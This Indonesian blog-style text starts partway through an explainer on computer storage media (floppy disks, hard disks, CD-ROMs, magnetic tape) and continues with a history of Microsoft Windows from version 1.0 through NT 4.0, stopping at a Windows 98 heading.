6. Label, digunakan untuk menulis nama pemilik disket ataupun nama program/ data yang tersimpan didalamnya.

2-3g Tempat yang ada didalam disket terbagi menjadi beberapa track, dan setiap track akan terbagi menjadi beberapa sector. Sector merupakan bagian terkecil dimana data disimpan. Dalam hal ini, setiap sector sanggup menampung hingga 256 charakter. Setiap sector selalu ditandai dengan sebuah address sector, sehingga read/write head dengan cepat dapat menemukan data yang dimaksud. Jumlah sector untuk setiap track tidak sama, tergantung jenis komputer yang digunakan.
2-3h Disket yang masih baru harus di-format terlebih dahulu baru bisa digunakan. dari format ini, akan dihasilkan suatu nomor sector yang tersusun secara berurutan, sehingga read/write head bisa menemukan data yang tersimpan. Selain itu, pihak pemakai juga bisa memperkirakan data yang akan disimpan.
2-3i Secara pisik, disket mempunyai ukuran: 8 inchi, 5.25 inchi dan 3.5 inchi, walaupun begitu, kapasitas disket tidak diukur secara pisik. Kapasitas disket bisa dilihat dari label yang tertulis, misalnya: DD (Double Density), untuk disket 5.25 inchi mempunyai kapasitas 360 KB, dan disket 3.50 inchi mempunyai kapasitas 720 . Disket dengan label HD (High Density) untuk ukuran 5.25 inchi kapasitasnya 1.2 MB, dan untuk dikset 3.50 inchi kapasitasnya 1.4 MB. Disamping itu, disket ukuran 3.50 inchi ada yang berlabel ED (Enchanced High Density), mempunyai kapasitas 2.8 MB, tetapi belum umum digunakan.
2-3j Pengertian density bisa diartikan sebagai kerapatan dalam menyimpan data, sehingga semakin tinggi density yang dimiliki oleh sebuah disket, maka daya tampung yang dimilikinya juga semakin tinggi.
2-3k Karena data yang tersimpan dalam bentuk guratan-guratan magnetic, disket harus diperlakukan secara hati-hati. Disket harus terhindar dari panas, magnit, lengkungan, sentuhan langsung, kotoran ataupun penulisan label secara langsung dengan menggunakan alat-alat yang tajam/runcing.
2-3l b. Hard Disk

Harddisk merupakan salah media penyimpan data yang cukup populer bagi mainframe ataupun PC. Harddisk merupakan media penyimpanan yang memiliki bentuk pisik yang berbeda jika dibanding dengan disket. Secara umum hard disk biasanya terpasang dan menyatu didalam CPU (fixed disk). Mekanisme yang menyebabkan data yang tersimpan bisa dibaca ataupun ditulis didalam hard disk, disebut sebagai disk drive.
2-3m Didalam hard disk terdapat lempengan-lempengan logam bundar yang disusun berlapis-lapis serta terdapat motor penggerak lempengan logam dan read/write head-nya.
2-3n Keunggulan dari hard disk adalah mampu menampung data dalam jumlah yang sangat besar serta memiliki kecepatan pada saat memanggil kembali data yang tersimpan. Harddisk dengan ukuran 3 Giga Byte pada saat ini sudah dianggap terlalu kecil, dan kini mulai beredar harddisk dengan ukuran yang jauh lebih besar.
2-3o Didalam pemakaian nya didalam PC, hard disk memerlukan card tambahan yang terdapat didalam komputer dan berfungsi sebagai pengontrol kerja dari hard disk tersebut.
2-3p Didalam disk-drive, terdapat suatu alat pemutar yang mampu berputar hingga 3500 rpm atau lebih. Read/Write Head yang ada akan ditumpu dengan suatu lengan yang selalu bergerak untuk menjelajah keseluruh permukaan hard-disk guna mendeteksi ataupun melakukan penulisan/ pembacaan data. Kombinasi antara perputaran hard-disk dan pergerakan lengan inilah yang mampu menentukan posisi setiap track yang ada didalam hard-disk.
2-3q Jenis hard disk ada yang menggunakan piringan tunggal, tetapi ada pula yang menggunakan beberapa disk yang dikemas dalam satu bentuk (disk-pack). Disk-pack ini juga mempunyai jenis yang fixed (tetap) dan removable (bisa dipindah). Read/Write head yang dimiliki oleh disk-pack lebih dari satu, yaitu sesuai dengan jumlah piringan yang dimilikinya. Lapis paling atas dan bawah, biasanya hanya digunakan sebagai cover pelindung dan tdk digunakan untuk menulis data.
2-3r Program-program komputer pada PC yang tengah populer pada saat ini, seperti misalnya Microsoft Windows, Office, Netscape Communicator dan lainnya lagi, membutuhkan adanya fasilitas hard-disk dengan kapasitas yang cukup besar guna menampung dan menjalankan program-program yang ada.
2-3s Western Digital Protege saat ini memproduksi hard disk dengan kecepatan putar 5400 rpm. Rancangan terbaru dari WD ini membuat pisik hard disk terlindung dari hal-hal yang tidak diinginkan dengan cara menyembunyikan elemen-elemen elektronika pada bagian bawah hard disk. Kapasitas yang dimiliki adalah 20 GB, dengan kecepatan transfer sebesar 90 MB/second.
2-3t Hard disk harus diperlakukan secara hati-hati, sebab sangat sensitive terhadap abu, asap ataupun sidik jari yang kadang bisa melekat dipermukaannya, dimana semua itu bisa merusakkan data yang tersimpan didalamnya.
2-3u c. Compact Disk

CD-ROM secara pisik mempunyai bentuk seperti halnya CD audio dan merupakan suatu hasil pengembangan teknologi baru pada tahun 1983, serta bisa digunakan sebagai tempat untuk menyimpan data dengan kapasitas tinggi. CD ROM secara umum dapat menyimpan data hingga 600 MB, tetapi kini banyak dipasarkan hingga ukuran gigabite. Harga CD ROM relative murah apabila dibanding dengan disket ataupun hard disk.
2-3v Dengan kapasitas yang begitu besar, maka daya tampung sebuah CD-ROM pada saat ini, bisa disamakan dengan sekitar 430 disket yang berukuran 1.4 MB. Walapun demikian, harga sebuah CD-ROM saat ini, hampir sama dengan harga disket biasa.
2-3w Untuk menggunakan CD ROM didalam komputer, diperlukan adanya card tambahan, CD ROM Drive, memory diatas 4 MB, serta beberapa persyaratan lainnya dari hardware maupun software komputer.
2-3x Untuk melakukan penyimpanan data, CD ROM menggunakan panas sinar laser yang akan membakar metalic film melalui sebuah lubang khusus. Lubang inilah yang menyajikan data dalam bentuk binary. Dikarenakan hal tersebut, data yang sudah tertulis diatas CD ROM belum bisa untuk diperbaiki/diganti baru.
2-3y Dengan demikian, pada awalnya para pengguna hanya bisa membaca untuk kemudian dipindahkan kedalam hard-disk. Ini sesuai dengan namanya, yaitu Compact Disk Read Only Memory. Program-program komputer yang ada pada saat ini, banyak disimpan didalam CD ROM.
2-3z Kini banyak beredar CD dengan kemampuan Read and Write, dalam arti kata bisa digunakan untuk menulis dan membaca secara berulang-ulang seperti halnya sebuah disket. Sony CRX75A merupakan salah satu CD yang mempunyai kemampuan tersebut. CRX75A mempunyai kemampuan membaca 8x lebih cepat jika disbanding CD biasa dan 4x lebih cepat untuk kemampuan menulis.
2-3aa Jenis lain adalah TDK Veldoc 16/9/40. TDK memang merupakan produsen yang baru muncul dalam beberapa tahun ini. Namun tidak berarti teknologi yang ditawarkan merupakan pemula, hal ini bisa dilihat pada produknya yang mempunyai banyak kemampuan, CD-R mempunyai kecepatan membaca 16x, sedang CD-RW mempunyai kecepatan menulis 9x dan membaca 40x
2-3ab Hewlett Packard yang merupakan salah satu produsen CDRW tertua didunia, kini memproduksi HP Surestore. Salah satu produk terbarunya adalah Surestore 990 dengan kecepatan pembacaan 8x dan 4x tulis. Walaupun nampak lambat, CDRW dari HP ini juga dilengkapi dengan labeling kit dan software perekam.
2-3ac Jenis lain dari CD ROM adalah optical disk yang secara phisik mempunyai bentuk seperti halnya laser disk Karena harganya relatip mahal, optical disk ini menjadi tidak popular bagi para pengguna komputer.
2-3ad d. Magnetic Tape

Magnetic tape merupakan media penyimpanan data yang biasanya digunakan untuk komputer jenis mini ataupun mainframe. Terdapat dua jenis magnetic tape yang biasanya digunakan oleh komputer. Jenis pertama mempunyai bentuk standart yang memiliki lebar pita 1/2 ” (12.7 mm). Magnetic tape terbuat dari plastik tipis yang dilapisi magnetic pada permukaannya.
2-3ae Bentuk kedua adalah kaset ataupun catridge seperti halnya yang telah kita kenal pada kaset yang terdapat di audio tape recorder. Data yang ada disini juga disimpan dalam bentuk kode-kode tertentu seperti halnya yang terdapat dalam pita magnetic ukuran standart. Kaset ataupun catridge banyak digunakan pada komputer jenis home-komputer.
2-3af Untuk bisa bekerja, pita magnetic ini harus diletakkan didalam tape drive yang kira-kira bisa disamakan dengan proyektor. Tape akan bergerak terus selama proses penulisan ataupun pembacaan berlangsung dengan melewati read/write head.
2-3ag Data yang ada akan direkam dalam guratan mangentic. Sekali data tersebut terekam, maka data akan tetap tinggal sampai data tersebut terhapus atau diganti dengan data baru. Secara umum, tape akan menyimpan. Data yang terdapat pada magnetic tape, akan terbagi secara horizontal yang disebut channel atau tracks, dan secara vertical didalam bentuk kolom ataupun frames. Secara umum, tape mempunyai 9-tracks dan data akan dikode-kan dalam ASCII ataupun EBCDIC .
2-3ah Disamping 9-tracks data, magnetic tape juga ada yang merekam datanya dalam bentuk 7-tracks, dimana track paling atas digunakan sebagai pairity chek, yang berguna bagi komputer untuk melihat apakah tejadi kesalahan dalam hal penyimpanan, perpindahan ataupun saat peng-copy-an data pada setiap characternya.
2-3ai Pada saat drive dari magnetic tape berputar, maka data-data yang ada akan dibaca satu demi satu. Dalam hal ini, tape membutuhkan adanya suatu tanda untuk mulai dan berhenti pada suatu record data. Pada saat berhenti, dan ketika akan melakukan pembacaan lagi, ada beberapa bagian dari tape yang tidak terbaca, dan bagian ini disebut: inter-record gap yang terjadi diantara setiap block data. Inter-record gap secara otomatis akan terbentuk oleh system komputer setelah selesai merekam karakter yang terakhir.
2-3aj Ukuran record dalam hal in ditentukan oleh jumlah data yang tersimpan. Beberapa record yang tergabung dalam satu kesatuan disebut sebagai logical record. Beberapa logical record akan tersimpan dalam sebuah phisical record.
2-3ak Walaupun media magnetic tape memiliki harga yang jauh lebih murah jika dibanding dengan media lainnya, tetapi media magnetic tape biasanya hanya digunakan sebagai media “back-up” dan bukan sebagai media penyimpan data yang utama. Penyebabnya adalah, media magnetic tape hanya bisa digunakan untuk menyimpan dan membaca data secara sequential atau berurutan. Dengan demikian, untuk melakukan penyimpanan dan pembacaan data, jauh lebih lambat jika dibanding dengan penulisan/pembacaan data secara random (acak).




artikel ini saya ambil dari http://atinsupriyanto.wordpress.com/2008/11/28/media-penyimpanan-dan-organisasi-file-2/

Sejarah Microsoft Windows

Sejarah Microsoft Windows
Pada tahun 1983, Microsoft mengumumkan pengembangan sebuah antarmuka grafis untuk sistem operasi buatannya, MS-DOS yang telah dibuat untuk sistem IBM PC dan kompatibelnya semenjak tahun 1981.

Windows 1.0
Versi pertama Microsoft Windows, yang disebut dengan Windows 1.0, dirilis pada tanggal 20 November 1985. Versi ini memiliki banyak kekurangan dalam beberapa fungsionalitas, sehingga kurang populer di pasaran. Pada awalnya Windows versi 1.0 ini hendak dinamakan dengan Interface Manager, akan tetapi Rowland Hanson, kepala bagian pemasaran di Microsoft Corporation, meyakinkan para petinggi Microsoft bahwa nama "Windows" akan lebih "memikat" konsumen. Windows 1.0 bukanlah sebuah sistem operasi yang lengkap, tapi hanya memperluas kemampuan MS-DOS dengan tambahan antarmuka grafis. Selain itu, Windows 1.0 juga memiliki masalah dan kelemahan yang sama yang dimiliki oleh MS-DOS.


Lebih jauh lagi, Apple yang menuntut Microsoft membuat Microsoft membatasi kemampuannya. Sebagai contoh, jendela-jendela di dalam Windows 1.0 hanya dapat ditampilkan di layar secara "tile" saja, sehingga jendela tersebut tidak dapat saling menimpa satu sama lainnya. Selain itu, tidak ada semacam tempat yang digunakan untuk menyimpan berkas sebelum dihapus (Recycle Bin), karena memang Apple berkeyakinan bahwa mereka memiliki hak terhadap paradigma tersebut. Microsoft pun kemudian membuang limitasi tersebut dari Windows dengan menandatangani perjanjian lisensi dengan Apple.

Windows 2.x
Windows versi 2 pun muncul kemudian pada tanggal 9 Desember 1987, dan menjadi sedikit lebih populer dibandingkan dengan pendahulunya. Sebagian besar populeritasnya didapat karena kedekatannya dengan aplikasi grafis buatan Microsoft, Microsoft Excel for Windows dan Microsoft Word for Windows. Aplikasi-aplikasi Windows dapat dijalankan dari MS-DOS, untuk kemudian memasuki Windows untuk melakukan operasinya, dan akan keluar dengan sendirinya saat aplikasi tersebut ditutup.

Microsoft Windows akhirnya memperoleh peningkatan signifikan saat Aldus PageMaker muncul dalam versi untuk Windows, yang sebelumnya hanya dapat berjalan di atas Macintosh. Beberapa ahli sejarahwan komputer mencatat ini sebagai kemunculan sebuah aplikasi yang laku secara signifikan selain buatan Microsoft sebagai awal kesuksesan Microsoft Windows.

Windows versi 2.0x menggunakan model memori modus real, yang hanya mampu mengakses memori hingga 1 megabita saja. Dalam konfigurasi seperti itu, Windows dapat menjalankan aplikasi multitasking lainnya, semacam DESQview, yang berjalan dalam modus terproteksi yang ditawarkan oleh Intel 80286.

Windows 2.1x
Selanjutnya, dua versi yang baru dirilis, yakni Windows/286 2.1 dan Windows/386 2.1. Seperti halnya versi Windows sebelumnya, Windows/286 menggunakan model memori modus real, tapi merupakan versi yang pertama yang mendukung High Memory Area (HMA). Windows/386 2.1 bahkan memiliki kernel yang berjalan dalam modus terproteksi dengan emulasi Expanded Memory Specification (EMS) standar Lotus-Intel-Microsoft (LIM), pendahulu spesifikasi Extended Memory Specification (XMS) yang kemudian pada akhirnya mengubah topologi komputasi di dalam IBM PC. Semua aplikasi Windows dan berbasis DOS saat itu memang berjalan dalam modus real, yang berjalan di atas kernel modus terproteksi dengan menggunakan modus Virtual 8086, yang merupakan fitur baru yang dimiliki oleh Intel 80386.

Versi 2.03 dan kemudian versi 3.0 mendapatkan tuntutan dari Apple karena memang versi 2.1 ini memiliki modus penampilan jendela secara cascade (bertumpuk), selain beberapa fitur sistem operasi Apple Macintosh yang "ditiru" oleh Windows, utamanya adalah masalah tampilan/look and feel. Hakim William Schwarzer akhirnya membatalkan semua 189 tuntutan tersebut, kecuali 9 tuntutan yang diajukan oleh Apple terhadap Microsoft pada tanggal 5 Januari 1989.

Kesuksesan dengan Windows 3.0
Microsoft Windows akhirnya mencapai kesuksesan yang sangat signifikan saat menginjak versi 3.0 yang dirilis pada tahun 1990. Selain menawarkan peningkatan kemampuan terhadap aplikasi Windows, Windows 3.0 juga mampu mengizinkan pengguna untuk menjalankan beberapa aplikasi MS-DOS secara serentak (multitasking), karena memang pada versi ini telah diperkenalkan memori virtual. Versi ini pulalah yang menjadikan IBM PC dan kompatibelnya penantang serius terhadap Apple Macintosh. Hal ini disebabkan dari peningkatan performa pemrosesan grafik pada waktu itu (dengan adanya kartu grafis Video Graphics Array (VGA)), dan juga modus terproteksi/modus 386 Enhanced yang mengizinkan aplikasi Windows untuk memakai memori lebih banyak dengan cara yang lebih mudah dibandingkan dengan apa yang ditawarkan oleh MS-DOS.

Windows 3.0 dapat berjalan di dalam tiga modus, yakni modus real, modus standar, dan modus 386 Enhanced, dan kompatibel dengan prosesor-prosesor keluarga Intel dari Intel 8086/8088, 80286, hingga 80386. Windows 3.0 akan mencoba untuk mendeteksi modus mana yang akan digunakan, meski pengguna dapat memaksa agar Windows bekerja dalam modus tertentu saja dengan menggunakan switch-switch tertentu saat menjalankannya

* win /r: memaksa Windows untuk berjalan di dalam modus real
* win /s: memaksa Windows untuk berjalan di dalam modus standar
* win /3: memaksa Windows untuk berjalan di dalam modus 386 Enhanced.

Versi 3.0 juga merupakan versi pertama Windows yang berjalan di dalam modus terproteksi, meskipun kernel 386 enhanced mode merupakan versi kernel yang ditingkatkan dari kernel modus terproteksi di dalam Windows/386.

Karena adanya fitur kompatibilitas ke belakang, aplikasi Windows 3.0 harus dikompilasi dengan menggunakan lingkungan 16-bit, sehingga sama sekali tidak menggunakan kemampuan mikroprosesor Intel 80386, yang notabene adalah prosesor 32-bit.

Windows 3.0 juga hadir dalam versi "multimedia", yang disebut dengan Windows 3.0 with Multimedia Extensions 1.0, yang dirilis beberapa bulan kemudian. Versi ini dibundel dengan keberadaan "multimedia upgrade kit", yang terdiri atas drive CD-ROM dan sebuah sound card, seperti halnya Creative Labs Sound Blaster Pro. Versi ini merupakan perintis semua fitur multimedia yang terdapat di dalam versi-versi Windows setelahnya, seperti halnya Windows 3.1 dan Windows for Workgroups, dan menjadi bagian dari spesifikasi Microsoft Multimedia PC.

Fitur-fitur yang disebutkan di atas dan dukungan pasar perangkat lunak aplikasi yang semakin berkembang menjadikan Windows 3.0 sangat sukses di pasaran. Tercatat, dalam dua tahun sebelum dirilisnya versi Windows 3.1, Windows 3.0 terjual sebanyak 10 juta salinan. Akhirnya, Windows 3.0 pun menjadi sumber utama pemasukan Microsoft, dan membuat Microsoft melakukan revisi terhadap beberapa rencana awalnya.

Munculnya dualisme : Windows 3.1 turun ke pasar rumahan dan Windows NT turun ke pasar korporat

Windows 3.1
Sebagai respons dari dirilisnya IBM OS/2 versi 2.0 ke pasaran, Microsoft mengembangkan Windows 3.1, yang menawarkan beberapa peningkatan minor terhadap Windows 3.0 (seperti halnya kemampuan untuk menampilkan font TrueType Fonts, yang dikembangkan secara bersama-sama dengan Apple), dan juga terdapat di dalamnya banyak sekali perbaikan terhadap bug dan dukungan terhadap multimedia. Versi 3.1 juga menghilangkan dukungan untuk modus real, sehingga hanya berjalan pada modus terproteksi yang hanya dimiliki oleh mikroprosesor Intel 80286 atau yang lebih tinggi lagi. Microsoft pun pada akhirnya merilis Windows 3.11, yang merupakan versi Windows 3.1 yang mencakup semua tambalan dan perbaikan yang dirilis setelah Windows 3.1 diluncurkan pada tahun 1992.

Windows for Workgroups
Kira-kira pada waktu yang sama, Microsoft merilis Microsoft Windows for Workgroups, yang tersedia baik sebagai tambahan untuk Windows 3.1 dan sebagai sebuah versi yang tercakup di dalamnya lingkungan dasar Windows dan tambahan kemampuan jaringan di dalam sebuah paket. Windows for Workgroups mencakup driver jaringan komputer dan stack protokol yang lebih baik, dan juga mendukung jaringan secara peer-to-peer. Salah satu download opsional untuk Windows for Workgroups adalah stack protokol TCP/IP dengan nama kode "Wolverine", yang mengizinkan akses ke Internet melalui jaringan korporat. Windows for Workgroups dirilis dalam dua versi, Windows for Workgroups 3.1 dan Windows for Workgroups 3.11. Tidak seperti versi-versi Windows sebelumnya, Windows for Workgroups 3.11 hanya berjalan di dalam modus 386 Enhanced, dan membutuhkan setidaknya mesin dengan prosesor Intel 80386SX.

Semua versi tersebut terus menerus meningkatkan laju penjualan Windows versi 3.x. Meskipun Windows 3.1x masih memiliki banyak kekurangan, yang sebelumnya telah dikoreksi oleh OS/2, seperti nama berkas yang panjang (melebihi 11 karakter, dalam format 8.3), desktop, atau proteksi sistem terhadap kelakuan aplikasi yang tidak diinginkan, Microsoft secara cepat mengambil alih pasar GUI di pangsa pasar desktop untuk IBM PC dan kompatibelnya. Windows API pun menjadi standar de-facto untuk perangkat lunak konsumen.

Windows NT
Selama waktu itu, Microsoft terus melanjutkan pengembangan sistem operasi yang barunya, yang disebut dengan Windows NT. Arsitek utama dari Windows NT adalah Dave Cutler, yang merupakan salah satu dari pemimpin arsitek sistem operasi VMS di perusahaan Digital Equipment Corporation (DEC), yang kemudian dibeli oleh Compaq yang sekarang bagian dari Hewlett-Packard. Microsoft merekrut Cutler pada tahun 1988 untuk membuat sebuah versi OS/2 yang bersifat portabel, tapi akhirnya Cutler malahan membuat sistem operasi baru.

Sebelum pindah ke Microsoft, Cutler sebenarnya sedang membuat sebuah sistem operasi penerus VMS di DEC, yang disebut dengan Mica. Dan pada saat petinggi DEC menggagalkan proyek tersebut, ia keluar dari DEC dan membawa banyak pekerja ahli bersamanya ke Microsoft. DEC memiliki keyakinan bahwa Cutler membawa kode Mica untuk digunakan oleh Microsoft dan menuntutnya. Akhirnya, Microsoft pun kalah dan pada akhirnya disuruh membayar 150 juta dolar Amerika dan memiliki kesepakatan untuk mendukung chip CPU baru buaan DEC, DEC Alpha, yang kala itu tercatat sebagai sebuah chip tercepat, agar dapat berjalan di dalam Windows NT.

Windows NT 3.1 (bidang pemasaran Microsoft menghendaki Windows NT agar terlihat sebagai kelanjutan dari Windows 3.1) akhirnya muncul pertama kali dalam bentuk Beta bagi para pengembang perangkat lunak pada bulan Juli 1992 dalam sebuah perhelatan Professional Developers Conference (PDC) yang dilangsungkan di San Fransisco, California, Amerika Serikat. Microsoft juga mengumumkan keinginannya untuk mengembangkan sebuah sistem operasi penerus bagi Windows NT sekaligus juga pengganti Windows 3.1 pada konferensi tersebut (yang diberi nama kode Chicago), yang kemudian akan menyatukan keduanya ke dalam sebuah sistem operasi yang padu. Sistem operasi tersebut diberi nama Cairo.

Ternyata Cairo merupakan sebuah proyek yang lebih rumit dibandingkan apa yang telah diantisipasi oleh Microsoft, dan hasilnya NT dan Chicago tidak "bersatu" sampai Windows XP diluncurkan. Selain itu, bagian-bagian Cairo belum muncul di dalam sistem operasi Microsoft Windows hingga saat ini. Contohnya adalah subsistem WinFS, yang merupakan implementasi dari Object File System di dalam Cairo, memang sempat dikerjakan oleh Microsoft dalam beberapa waktu, tapi pada akhirnya Microsoft mengumumkan bahwa mereka menghentikan pengembangan WinFS dan akan menggabungkan teknologi yang dikembangkan untuk WinFS di dalam produk dan teknologi Microsoft yang lainnya, khususnya adalah Microsoft SQL Server.

Dukungan device driver untuk Windows NT juga kurang begitu banyak karena memang mengembangkan driver untuk Windows NT dianggap rumit oleh beberapa pengembang, selain tentunya Windows NT juga memiliki superioritas dalam model abstraksi perangkat kerasnya. Masalah ini telah menghantui semua versi Windows NT hingga Windows NT 5.0 (Windows 2000) keluar ke pasaran. Para programmer pun mengeluh bahwa mengembangkan device driver untuk Windows NT adalah sesuatu hal yang rumit, dan para pengembang perangkat keras juga tidak mau mengambil risiko untuk mengembangkan device driver untuk sebuah sistem operasi yang memiliki pangsa pasar terbatas. Selain itu, meskipun Windows NT menawarkan performa yang baik dan mampu mengekspolitasi sumber daya sistem secara lebih efisien, dalam beberapa sistem dengan perangkat keras terbatas, Windows NT dianggap sebagai sistem yang boros sumber daya. Hal ini mengakibatkan munculnya opini publik bahwa Windows NT hanya cocok untuk mesin-mesin yang besar dan juga jauh lebih mahal (seperti halnya workstation dengan DEC Alpha atau Intel Pentium yang kala itu memang masih baru). Windows NT juga tidak dapat bekerja untuk pengguna pribadi karena kebutuhan sumber dayanya yang tinggi. Selain itu, GUI yang digunakannya hanyalah salinan dari GUI Windows 3.1, yang masih kalah jauh jika dibandingkan dengan Workplace Shell milik OS/2, sehingga alasan Windows NT merupakan pengganti bagi Windows 3.1 tidaklah masuk akal.

Akan tetapi, fitur-fitur tersebutlah yang membuat Windows NT pilihan yang sempurna untuk pangsa pasar server jaringan lokal (LAN), yang pada tahun 1993 sedang mengalami booming besar-besaran, seiring dengan komoditas jaringan di dalam kantor telah meningkat secara drastis. Fitur-fitur jaringan dalam Windows NT menawarkan beberapa pilihan konektivitas jaringan yang luas dan juga tentunya sistem berkas NTFS yang efisien. Windows NT 3.51 merupakan primadona Microsoft saat terjun ke pasar ini, yang kemudian mengambil alih sebagian besar pangsa pasar yang sebelumnya dimiliki oleh Novell Netware beberapa tahun ke depan.

Salah satu peningkatan terbesar dari Windows NT adalah Application Programming Interface (API) 32-bit yang baru, yang dibuat untuk menggantikan Windows API 16-bit yang sudah lama. API 32-bit ini dinamakan dengan Win32 API, dan dari sanalah Microsoft menyebut API 16-bit yang lama sebagai Win16. Win32 API memiliki tiga buah implementasi utama: satu untuk Windows NT (yang merupakan Win32 API terlengkap dengan dukungan ANSI ataupun Unicode), satu untuk Win32s (yang merupakan bagian dari Win32 yang dapat digunakan di atas sistem Windows 3.1), dan juga satu lagi untuk Chicago (yang hanya mendukung ANSI). Hal ini menyebabkan kompatibilitas yang tinggi antara Chicago dan Windows NT, meskipun pada dasarnya kedua sistem tersebut adalah sangat jauh berbeda jika dilihat dari arsitektur dasarnya.

Windows NT merupakan sistem operasi Windows pertama yang dibuat dengan menggunakan kernel hibrida, setelah pada versi-versi sebelumnya hanya menggunakan kernel monolithic saja.

Windows 95
Setelah Windows 3.11, Microsoft mulai memulai pengembangan sebuah versi Windows yang berorientasi kepada pengguna yang diberi nama kode Chicago. Chicago didesain agar mmeiliki dukungan terhadap multitasking secara pre-emptive 32-bit seperti halnya yang terdapat di dalam OS/2 dan Windows NT, meskipun kernel 16-bit masih terdapat di dalamnya demi alasan kompatibilitas ke belakang. Win32 API yang pertama kali diperkenalkan pada Windows NT pun diadopsi sebagai sebuah standar antarmuka pemrograman baru yang berbasis 32-bit, dengan kompatibilitas Win16 juga dipertahankan dengan menggunakan sebuah teknik yang dinamakan dengan "thunking". GUI yang baru juga dimiliki oleh sistem operasi, meskipun pada awalnya Microsoft tidak merencanakannya sebagai bagian dari sistem operasi saat dirilis. Memang beberapa elemen antarmuka pengguna yang dimiliki oleh Cairo dipinjam dan ditambahkan kepada sistem operasi tersbut sebagai aspek lainnya dari versi itu (khususnya fitur Plug and Play).

Microsoft tidak mengganti semua kode Windows menjadi 32-bit; banyak bagian di dalamnya masih berupa 16-bit (meskipun tidak menggunakan modus real secara langsung), demi alasan kompatibilitas ke belakang, kinerja, dan waktu pengembangan. Hal ini dan fakta bahwa banyaknya kelemahan dalam desain versi-versi Windows sebelumnya, membuat sistem operasi yang baru ini terganggu efisiensi dan stabilitasnya.

Akhirnya, bagian marketing Microsoft menggunakan nama Windows 95 sebagai nama produk bagi Chicago, saat dirilis pada tanggal 24 Agustus 1995. Microsoft memiliki dua keuntungan dari peluncuran ini: 1) adalah mustahil bagi para konsumen untuk menjalankan Windows 95 pada sistem operasi DOS bukan buatan Microsoft yang jauh lebih murah; 2) meskipun jejak-jejak DOS tidaklah pernah dicabut dari sistem operasi tersebut, malahan versi tersebut menancapkan sebuah versi DOS untuk dimuat sebagai bagian dari proses booting, Windows 95 berjalan dengan sendirinya di dalam modus 386 Enhanced, dengan menggunakan memori virtual dan model pengalamatan memori flat 32-bit. Fitur-fitur itu menjadikan aplikasi Win32 untuk mengalamatkan RAM virtual sebanyak maksimal 2 gigabyte (dengan 2 gigabyte sisanya dicadangkan untuk sistem operasi), dan dalam teorinya mencegah aplikasi tersebut untuk mengganggu ruangan memori yang dimiliki oleh aplikasi Win32 lainnya tanpa adanya persetujuan dari sistem operasi. Dalam hal ini, memang fungsionalitas Windows 95 mendekati apa yang dimiliki oleh Windows NT, meskipun Windows 95/98/Me tidak mendukung memori melebihi 512 megabyte tanpa menyunting konfigurasi sistem yang merepotkan.

Di balik kesuksesan Microsoft, IBM terus melanjutkan pasar OS/2, dengan memproduksi OS/2 versi 3.0 dan OS/2 Warp (versi 4.0). IBM merespons keluhan yang diajukan oleh para konsumen mengenai kebutuhan perangkat keras komputer yang tinggi yang diminta oleh OS/2 versi 2.0, OS/2 versi 3.0 pun dibuat jauh lebih ramping dengan melakukan optimalisasi pada ukuran dan kecepatan. Sebelum Windows 95 dirilis, OS/2 Warp 3.0 bahkan telah dibundel dalam beberapa penyedia perangkat keras mayor di Jerman. Akan tetapi, dengan dirilisnya Windows 95, OS/2 lagi-lagi kehilangan pangsa pasarnya kembali, diambil alih oleh Windows 95.


Mungkin tidak mungkin untuk mencari tahu apa alasan mengapa OS/2 gagal dalam mendapatkan pangsa pasar yang besar. Walaupun OS/2 terus dapat menjalankan aplikasi Windows 3.1, sebenarnya sudah tidak ada yang kekurangan lagi, kecuali pada sebagian kecil dari Windows API yang disebut Win32s. Tidak seperti Windows 3.1, IBM tidak memiliki akses terhadap kode sumber Windows 95 dan tidak mau menggunakan waktu dan sumber daya yang ada untuk melakukan emulasi terhadap Win32 API. IBM juga memperkenalkan OS/2 pada kasus Amerika Serikat versus Microsoft, dengan menyalahkan taktik marketing pada bagian Microsoft, tapi banyak orang mungkin setuju bahwa masalah di dalam bagian marketing IBM lah dan dukungannya yang sangat kurang dari para pengembang perangkat lunak yang meyebabkan kegagalan-kegagalan OS/2.

Sebelum menggantinya dengan versi Windows yang baru, Microsoft merilis Windows 95 dalam lima versi berbeda, yakni sebagai berikut:

* Windows 95 - rilis yang sebenarnya dari Windows 95
* Windows 95 A - mencakup pembaruan Windows 95 Original Service Release 1 (OSR1) yang dimasukkan secara langsung terhadap instalasi.
* Windows 95 B - mencakup beberapa pembaruan mayor lainnya, seperti halnya sistem berkas FAT32, dan Internet Explorer 3.0. Versi ini juga dikenal dengan Windows 95 OSR2, atau banyak orang di Indonesia menyebutnya sebagai Windows 97.
* Windows 95 B USB - atau Windows 95 OSR2.1 merupakan versi Windows 95 yang menawarkan dukungan terhadap perangkat keras berbasis bus Universal Serial Bus/USB.
* Windows 95 C - atau Windows 95 OSR2.5 mencakup semua fitur di atas, ditambah Internet Explorer 4.0. Versi ini merupakan versi yang paling terakhir dirilis dari seri Windows 95.

Windows 95 OSR2, OSR2.1 dan OSR2.5 tidaklah dirilis untuk publik, akan tetapi hanya kepada OEM saja yang mau menggunakan sistem operasi tersebut ke dalam komputer buatannya. Beberapa perusahaan OEM bahkan menjual hard disk baru dengan sistem operasi Windows 95 OSR2 di dalamnya.

Selain fitur yang terkandung di dalam Windows 95, Microsoft juga memperkenalkan Microsoft Plus! for Windows 95 yang mencakup beberapa fitur tambahan yang tidak dimiliki oleh Windows 95.

Windows NT 4.0
Microsoft merilis Windows NT 4.0, sebagai penerus Windows NT 3.x yang sukses mengancam dominasi Novell Netware dan UNIX di pasar korporat. Windows NT 4.0 ini pada awalnya dikembangkan sebagai sebuah bagian dari usaha untuk memperkenalkan Windows NT kepada pasar workstation. NT 4.0 memiliki antarmuka yang sama dengan Windows 95, tetapi menggunakan kernel yang sama dengan Windows NT, sehingga lebih stabil. Memang, ada sebuah patch tambahan yang tersedia untuk Windows NT 3.51 yang mampu membuat NT 3.51 agar mirip seperti NT 4.0, tapi sangat tidak stabil dan memiliki banyak bug. Antarmuka pengguna tersebut pada awalnya memang dikembangkan di atas Windows NT, tapi karena Windows 95 dirilis terlebih dahulu sebelum NT 4.0, maka orang cenderung berpikir "Windows NT 4.0 adalah jiplakan dari Windows 95."

Windows NT 4.0 datang dalam empat versi:

* Windows NT 4.0 Workstation
* Windows NT 4.0 Server
* Windows NT 4.0 Server, Enterprise Edition (yang mencakup dukungan terhadap clustering dan SMP hingga 8-way)
* Windows NT 4.0 Terminal Server

Windows 98
